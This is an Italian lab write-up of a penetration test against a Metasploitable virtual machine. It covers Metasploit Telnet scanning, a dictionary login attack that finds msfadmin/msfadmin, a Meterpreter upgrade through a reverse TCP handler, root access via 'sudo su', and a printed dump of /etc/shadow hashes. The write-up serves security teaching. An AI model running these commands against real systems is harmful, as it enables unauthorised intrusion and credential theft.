

PROGETTO: Exploit Telnet con Metasploit

Introduzione

Il progetto documenta un'attività di **Penetration Testing** "end-to-end" condotta verso una macchina target (Metasploitable). L'obiettivo è dimostrare come la presenza di servizi obsoleti e configurazioni errate possa permettere a un attaccante di ottenere il controllo totale del sistema.

Scansione del Servizio Telnet

La prima fase ha previsto l'identificazione e la verifica del servizio **Telnet (Porta 23)**.

- **Modulo utilizzato:** `auxiliary/scanner/telnet/telnet_version`.
- **Procedura:** Configurazione del parametro `RHOSTS` (10.0.2.20) e analisi dei banner tramite il comando `run`.
- **Risultato:** Conferma del servizio attivo e vulnerabile, pronto per tentativi di autenticazione.

```

      =[ metasploit v6.4.103-dev                                     ]
+ -- --=[ 2,584 exploits - 1,319 auxiliary - 1,697 payloads       ]
+ -- --=[ 434 post - 49 encoders - 14 nops - 9 evasion           ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(scanner/telnet/telnet_version) > show options

```

Dopo aver caricato il modulo telnet version, sono state configurate le opzioni necessarie e

Successivamente è stata avviata la scansione del servizio Telnet sul target indicato.

```
msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified user name
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

View the full module info with the `info`, or `info -d` command.

```
msf auxiliary(scanner/telnet/telnet_version) > 
```

Il comando `show options` è stato utilizzato per analizzare i parametri richiesti dal modulo. In particolare, è stato verificato che l'unica opzione obbligatoria fosse `RHOSTS`, poiché il modulo `telnet_version` esegue una scansione informativa del servizio Telnet senza richiedere autenticazione.

Dopo aver analizzato le opzioni disponibili è stato impostato il parametro RHOSTS con l'indirizzo IP della meta (10.0.2.20). Successivamente è stata avviata la scansione del servizio Telnet per verificarne la disponibilità e le informazioni di versione.

Con l'esecuzione del comando **run** è stata verificata la presenza del servizio **Telnet** attivo sulla **porta 23** della macchina Metasploitable, che ha restituito il banner del servizio, completando correttamente la fase di scansione.

```
msf auxiliary(scanner/telnet/telnet_version) > run  
[+] 10.0.2.20:23 - 10.0.2.20:23 TELNET  
  
Warning: Never expose this VM to an untrusted network!  
Contact: msfdev[at]metasploit.com  
Login with msfadmin/msfadmin to get started  
metasploitable login:  
[*] 10.0.2.20:23 - Scanned 1 of 1 hosts (100% complete)  
[*] Auxiliary module execution completed  
msf auxiliary(scanner/telnet/telnet_version) >
```

Fase di Exploit: Accesso Iniziale

Sfruttando la mancanza di criteri di sicurezza nelle credenziali, è stato eseguito un attacco di tipo dizionario.

- **Modulo utilizzato:** `auxiliary/scanner/telnet/telnet_login`.
- **Configurazione:** Utilizzo di file personalizzati per utenti e password (`users.txt` / `passwords.txt`).
- **Risultato:** Identificazione della coppia valida **msfadmin/msfadmin** e apertura di una sessione di comando remota.

Per poter svolgere la seconda fase è stata creata una lista di credenziali username e password per 5 utente

I comandi sotto indicati sono stati necessari per configurare ed eseguire un tentativo di autenticazione al servizio Telnet della macchina target utilizzando liste di credenziali.

```
use auxiliary/scanner/telnet/telnet_login
```

```
set RHOSTS 10.0.2.20
```

```
set USER_FILE /home/kali/users.txt
```

```
set PASS_FILE /home/kali/passwords.txt
```

```
set STOP_ON_SUCCESS true
```

```
run
```

```
msf > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 10.0.2.20
RHOSTS => 10.0.2.20
msf auxiliary(scanner/telnet/telnet_login) > set USER_FILE /home/kali/users.t
xt
USER_FILE => /home/kali/users.txt
msf auxiliary(scanner/telnet/telnet_login) > set PASS_FILE /home/kali/passwor
ds.txt
PASS_FILE => /home/kali/passwords.txt
msf auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
```

PASS_FILE	/home/kali/passw	no	henticate with
	ords.txt		File containing passwords,
RHOSTS	10.0.2.20	yes	one per line
			The target host(s), see ht
			tps://docs.metasploit.com/
			docs/using-metasploit/basi
			cs/using-metasploit.html
RPORT	23	yes	The target port (TCP)
STOP_ON_SUCCESS	true	yes	Stop guessing when a crede
			ntial works for a host
THREADS	1	yes	The number of concurrent t
			hreads (max one per host)
USERNAME		no	A specific username to aut
			henticate as
USERPASS_FILE		no	File containing users and
			passwords separated by spa
			ce, one pair per line
USER_AS_PASS	false	no	Try the username as the pa
			ssword for all users
USER_FILE	/home/kali/users	no	File containing usernames,
	.txt		one per line
VERBOSE	true	yes	Whether to print output fo
			r all attempts

View the full module info with the `info`, or `info -d` command.

`msf auxiliary(scanner/telnet/telnet_login) > █`

```
msf auxiliary(scanner/telnet/telnet_login) > show options
```

```
Module options (auxiliary/scanner/telnet/telnet_login):
```

Name	Current Setting	Required	Description
ANONYMOUS_LOGIN	false	yes	Attempt to login with a blank username and password
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
CreateSession	true	no	Create a new session for every successful login
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD		no	A specific password to authenticate with

```
msf auxiliary(scanner/telnet/telnet_login) > run
[!] 10.0.2.20:23 - No active DB -- Credential data will not be saved
[+] 10.0.2.20:23 - 10.0.2.20:23 - Login Successful: msfadmin:msfadmin
[*] 10.0.2.20:23 - Attempting to start session 10.0.2.20:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (10.0.2.15:36777 → 10.0.2.20:23) at 2026-01-20 09:26:51 -0500
[*] 10.0.2.20:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_login) >
```

L'esecuzione del modulo telnet_login, ha consentito l'individuazione di una coppia username/password (msfadmin) valida e l'apertura di una sessione di comando Telnet sulla macchina Metasploitable.

Upgrade e Escalation

Ottenuto l'accesso come utente base, l'attacco è proseguito per elevare i privilegi e stabilizzare la connessione.

- **Upgrade Sessione:** Migrazione da shell semplice a **Meterpreter** tramite il modulo `post/multi/manage/shell_to_meterpreter` per sbloccare funzionalità avanzate.
- **Privilege Escalation:** Utilizzo del comando `getuid` per mappare i privilegi correnti. Sfruttando la configurazione permissiva di `sudo`, è stata forzata l'acquisizione dei privilegi di **Root** tramite il comando `sudo su`.

Tramite il comando `sessions -l` è stata verificata la presenza di una sessione Telnet attiva

```
msf post(multi/manage/shell_to_meterpreter) > sessions -l

Active sessions
=====

  Id  Name  Type  Information                                     Connection
  --  --
  1    shell TELNET msfadmin:msfadmin (1 10.0.2.15:46761 → 10.0.2.2
                                0.0.2.20:23)                                0:23 (10.0.2.20)

msf post(multi/manage/shell_to_meterpreter) > sessions -i 1
[*] Starting interaction with 1...

msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N] y
msf post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

  Name      Current Setting  Required  Description
  --      -
  HANDLER   true             yes       Start an exploit/multi/handler to re
ceive the connection
  LHOST     10.0.2.15        no        IP of host that will receive the con
nection from the payload (Will try t
o auto detect).
  LPORT     4433             yes       Port for payload to connect to.
```

```
kali@kali: ~  
Session Actions Edit View Help  
  
View the full module info with the info, or info -d command.  
  
msf post(multi/manage/shell_to_meterpreter) > run  
[!] SESSION may not be compatible with this module:  
[!] * Unknown session platform. This module works with: Linux, OSX, Unix, So  
laris, BSD, Windows.  
[*] Upgrading session ID: 1  
[*] Starting exploit/multi/handler  
[*] Started reverse TCP handler on 10.0.2.15:4433  
[*] Sending stage (1062760 bytes) to 10.0.2.20  
[*] Meterpreter session 2 opened (10.0.2.15:4433 → 10.0.2.20:33549) at 2026-  
01-20 10:36:03 -0500  
[*] Command stager progress: 100.00% (773/773 bytes)  
[*] Post module execution completed  
msf post(multi/manage/shell_to_meterpreter) > sysinfo  
[-] Unknown command: sysinfo. Run the help command for more details.  
msf post(multi/manage/shell_to_meterpreter) > session -i 2  
[-] Unknown command: session. Did you mean sessions? Run the help command for  
more details.  
msf post(multi/manage/shell_to_meterpreter) > sessions -i 2  
[*] Starting interaction with 2 ...  
  
meterpreter > getuid  
Server username: msfadmin  
meterpreter > msfadmin  
[-] Unknown command: msfadmin. Run the help command for more details.  
meterpreter > shell
```

```
Process 5242 created.  
Channel 1 created.
```

Tramite tecniche di **Privilege Escalation** (`sudo su`), sono stati acquisiti i privilegi di **root**, permettendo l'esfiltrazione degli hash delle password dal file `/etc/shadow`.

```
msfadmin@metasploitable:~$ whoami  
msfadmin  
msfadmin@metasploitable:~$ sudo su  
[sudo] password for msfadmin:  
root@metasploitable:/home/msfadmin# whoami  
root  
root@metasploitable:/home/msfadmin#
```

```
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuuid:!:14684:0:99999:7:::
dhcp:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$Rw35ik.x$MgQgZUu05pAoUvfJhfcYe/:14685:0:99999:7:::
mysql:!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$HESu9xrH$K.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$kr3ue7JZ$7GxELDupr50hp6cjZ3Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
root@metasploitable:/home/msfadmin#
root@metasploitable:/home/msfadmin# _
```

CONCLUSIONE: L'Attacco dimostra come la combinazione di credenziali deboli e permessi sudo mal configurati possa portare alla compromissione totale di un server in pochi minuti. Anche un utente non privilegiato può diventare amministratore se il sistema permette l'elevazione senza restrizioni.